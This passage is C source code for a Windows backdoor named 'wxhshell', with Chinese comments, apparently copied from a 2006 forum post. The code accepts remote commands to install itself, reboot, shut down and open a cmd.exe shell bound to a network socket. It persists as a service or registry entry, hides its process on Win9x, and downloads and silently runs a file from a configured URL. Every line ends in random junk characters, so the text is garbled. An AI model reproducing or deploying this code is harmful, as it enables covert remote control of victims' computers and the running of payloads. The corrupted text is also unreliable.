  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }eq*dr1`  
  } YQ$EN>.eO  
  else { _CImf1  
vzH"O=  
    switch(cmd[0]) { <TQ,7M4X  
  b<E+5;u  
  // 帮助 QpI\\Zt6  
  case '?': { lV M )'m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ONU,R\jMb-  
    break; qayM 0i>>  
  } -XNawpl`  
  // 安装 UEeq@ot/4  
  case 'i': { s9aa _Th  
    if(Install()) vp|'Yy(9z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@0Zh, l  
    else ]TX"BH"2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I3,0vnE@  
    break; pgipT#_K  
    } #ni:Bwtl{  
  // 卸载 ] =*G[  
  case 'r': { -,a@bF:  
    if(Uninstall()) {baG2Fe1`b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !))!! {  
    else Ls6C*<8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;>*Pwz`~jT  
    break; ,Z$!:U  
    } =Vat2'>+  
  // 显示 wxhshell 所在路径 /mG-g%gE  
  case 'p': { u ?7^+z  
    char svExeFile[MAX_PATH]; G<M9 6V  
    strcpy(svExeFile,"\n\r"); u8r<B4k  
      strcat(svExeFile,ExeFile); B]#^&89wG)  
        send(wsh,svExeFile,strlen(svExeFile),0); F_d>@-<  
    break; WG]`Sy  
    } q{CD:I:-  
  // 重启 iBh.&K{j  
  case 'b': { AkAQ%)6qV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u2 t=*<X  
    if(Boot(REBOOT)) RaC8Sq7hW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4OB 88$  
    else { h$l`)AH^  
    closesocket(wsh); 3-v&ktD&N'  
    ExitThread(0); d J.up*aR  
    } P{+,?X\  
    break; Uu[dx}y  
    } \5P 5N]]  
  // 关机 x T1MW  
  case 'd': { X 4CiVV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V>(>wSR  
    if(Boot(SHUTDOWN)) ~c`%k>$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !uW;Ea?  
    else { aJLc&o 8Yg  
    closesocket(wsh); ~B\O{5W  
    ExitThread(0); ~?z u5,vb  
    } Aaug0X  
    break; S{jm4LZ  
    } i6P'_  
  // 获取shell p735i`8  
  case 's': { ok1-`c P  
    CmdShell(wsh); !:c_i,N  
    closesocket(wsh); >ud u~  
    ExitThread(0); 7G=Q9^J.H  
    break; . L9n  
  } &$yDnSt\  
  // 退出 N{#9gr3zi  
  case 'x': { QB"+B]rV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~A_1he~  
    CloseIt(wsh); 95mwDHbA  
    break; p0Pmmp7r  
    } -,q qQf  
  // 离开 i hcSSUm  
  case 'q': { `_e5pW=:>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2$b JMx>  
    closesocket(wsh); wGgeK,*_  
    WSACleanup(); a[jNT$8  
    exit(1); *nB-] w/  
    break; n{(,r'  
        } #'4Psz  
  } !.{"Ttn;s  
  } 7Qd boEa  
[&sabM`Ul  
  // 提示信息 Ys]cJ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -_BX\iP{  
} cq~~a(IS  
  } 2oo\SmO]  
%gu|  
  return; C:.>*;?7  
} 4mvnFY}   
#<d'=R[ AK  
// shell模块句柄 7U:{=+oLR  
int CmdShell(SOCKET sock) v >cPr(  
{ L),r\#Y(v  
STARTUPINFO si; {__NVv  
ZeroMemory(&si,sizeof(si)); }b^x#HC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vG:S(/\>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V;"Rp-`^  
PROCESS_INFORMATION ProcessInfo; -`D<OSt7  
char cmdline[]="cmd"; gI00@p:m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9^E!2CJ  
  return 0; ^qLesP#   
} "~q~)T1Z  
S 59^$  
// 自身启动模式 tA^CuJR  
int StartFromService(void) l[^0Ik-G  
{  0:$pJtx"  
typedef struct O~|Y#T  
{ xy]oj  
  DWORD ExitStatus; z.;!Pj  
  DWORD PebBaseAddress; r<B pX["  
  DWORD AffinityMask; &q +l5L"  
  DWORD BasePriority; @w(X}q1  
  ULONG UniqueProcessId; =7F?'&LC  
  ULONG InheritedFromUniqueProcessId; C(vQR~_  
}   PROCESS_BASIC_INFORMATION; Ro=dgQ0:t  
,I H~  
PROCNTQSIP NtQueryInformationProcess; ?3gf)g=  
DDj:(I?,w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AWg'J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "A0y&^4B@  
Bm;: cmB0e  
  HANDLE             hProcess; 0,B"p  
  PROCESS_BASIC_INFORMATION pbi; ]"'1-h91  
Bm  4$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3|%058bF  
  if(NULL == hInst ) return 0; <j1r6.E)  
"JE->iD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %~[@5<p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pJIJ"o'>.9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o%*C7bU  
H.[nr:  
  if (!NtQueryInformationProcess) return 0; %<`sDO6Q?  
>J#/IjCW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GK [Hs 1/  
  if(!hProcess) return 0; Jv kTfTE7  
#'n.az=1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BS%pS(  
hFnUw2 6P  
  CloseHandle(hProcess); )Myx(w"S  
^fE8|/]nG9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @|{8/s Oq  
if(hProcess==NULL) return 0; 7rG+)kHG  
Jp= )L  
HMODULE hMod; 7>h(M+ /  
char procName[255]; Ii<k<Bt,  
unsigned long cbNeeded; ~V0 GRPnI  
\jb62Jp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +No` 89Y  
#kE8EhQZ  
  CloseHandle(hProcess); Gd$!xN %O  
/x<uv_"  
if(strstr(procName,"services")) return 1; // 以服务启动 WJk3*$=  
39I|.B"  
  return 0; // 注册表启动 < <F  
} p_vl dTIW  
>">Xd@Wk  
// 主模块 d[Zx [=h  
int StartWxhshell(LPSTR lpCmdLine) f4VdH#eng`  
{ /PbMt  
  SOCKET wsl; @$nh6l>i  
BOOL val=TRUE; z]D/Qr  
  int port=0; {$ > .I  
  struct sockaddr_in door; dKhS;!K9p  
FAX[| p  
  if(wscfg.ws_autoins) Install(); }z,9!{~`  
eZD"!AT  
port=atoi(lpCmdLine); }2S)CL=  
{R"mvB`  
if(port<=0) port=wscfg.ws_port; '6\ZgOO9  
p+0gE5  
  WSADATA data; vy` lfbX@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "H=N>=g0E  
^XG$?2<U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8l'W[6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q>wO=qWx  
  door.sin_family = AF_INET; ) I(9qt>Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XA;f.u  
  door.sin_port = htons(port); HU$]o N  
F'CJN$6Mw/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uG/'9C6Z  
closesocket(wsl); MNp4=R  
return 1; AMASh*  
} KzQFG)q,  
*IIA"tC  
  if(listen(wsl,2) == INVALID_SOCKET) { )2#q i/  
closesocket(wsl); #XG3{MGX[  
return 1; R / ND f`  
} A~X\ dcn  
  Wxhshell(wsl); f'*/IG  
  WSACleanup(); (?TK P 7  
 Frz  
return 0; cc>b#&s  
CIf@G>e-  
} k7j[tB#  
CD5% iFy  
// 以NT服务方式启动 My Ky*wD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6uKP BL@,  
{ H@9QEj!Y  
DWORD   status = 0; FM(EOsWk  
  DWORD   specificError = 0xfffffff; IZ iS3  
G/#m. =t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vbe@S?u-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j@Pd" Z9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7GS 4gSd3  
  serviceStatus.dwWin32ExitCode     = 0; 1hSV/%v_  
  serviceStatus.dwServiceSpecificExitCode = 0; Z>3m-:-e  
  serviceStatus.dwCheckPoint       = 0; 1.PN_9%  
  serviceStatus.dwWaitHint       = 0; ?\(qA+iP0  
^Wn+G8n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jatlv/,  
  if (hServiceStatusHandle==0) return; )y i~p  
LbYIRX  
status = GetLastError(); [9V}>kS)  
  if (status!=NO_ERROR) B#+n$5#FK  
{ +-9-%O.(;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D u T6Od/f  
    serviceStatus.dwCheckPoint       = 0; :U/]*0b  
    serviceStatus.dwWaitHint       = 0; #Ma:Av/ )  
    serviceStatus.dwWin32ExitCode     = status; !0P:G#o-$  
    serviceStatus.dwServiceSpecificExitCode = specificError; w%..*+P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JYmYX-  
    return; '.<c[Mp  
  } cd=|P?B i  
g'{?j~g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ryh 0r  
  serviceStatus.dwCheckPoint       = 0; (:O6sTx-hE  
  serviceStatus.dwWaitHint       = 0; o`!#io  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |"S#uJW  
} R MOs1<D  
>`/s+V  
// 处理NT服务事件,比如:启动、停止 cvE)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QgQclML1|  
{ uqU&k@  
switch(fdwControl) yla- X|>  
{ :I7mM y*  
case SERVICE_CONTROL_STOP: R*0mCz^+h  
  serviceStatus.dwWin32ExitCode = 0; /GM!3%'=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nRu %0Op  
  serviceStatus.dwCheckPoint   = 0; VH<d[Mj  
  serviceStatus.dwWaitHint     = 0; Yl lZ5<}  
  { #5kclu%L$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s6Dkh}:d  
  } <2L,+  
  return; Di27=_J  
case SERVICE_CONTROL_PAUSE: x DN u'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x X[WX#'f  
  break; "Da-e\yA  
case SERVICE_CONTROL_CONTINUE: w 4CcdpR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z5 @i"%f  
  break; 3$q#^UvD  
case SERVICE_CONTROL_INTERROGATE: 9 nY|S{L  
  break; C.":2F;-e  
}; !Ur.b @ke  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k;`1Ia  
} TC44*BHq  
'q_Z dw%  
// 标准应用程序主函数 _9H]:]1QH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DpeJx  
{ ],[<^=|  
(n~fe-?}8  
// 获取操作系统版本 6-tIe _5  
OsIsNt=GetOsVer(); 27+faR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i+in?!@G:  
=+Odu  
  // 从命令行安装  H!hd0.  
  if(strpbrk(lpCmdLine,"iI")) Install(); o<txm?+N  
P0(LdZH6u  
  // 下载执行文件 u-s*k*VHoc  
if(wscfg.ws_downexe) { ]!P8{xmb@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) On~KTt3Mp  
  WinExec(wscfg.ws_filenam,SW_HIDE); WcS`T?Xa  
} )8rF'pxI  
o _l_Yi  
if(!OsIsNt) { 3 yb]d5:U  
// 如果时win9x,隐藏进程并且设置为注册表启动 M% Rr=  
HideProc(); ]+m 2pEO  
StartWxhshell(lpCmdLine); U1Fo #L  
} >i  >|]  
else 8#tuB8>  
  if(StartFromService()) oF]]Pl{W  
  // 以服务方式启动 ti6X=@ P:  
  StartServiceCtrlDispatcher(DispatchTable); ,Eh]Zv1 AE  
else 9QB,%K_:4  
  // 普通方式启动 _'1 ]CoR  
  StartWxhshell(lpCmdLine); 9ZU^([@D  
f=Pn,.>tIz  
return 0; _deEs5i  
}
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只看该作者 1 发表于: 2006-10-10
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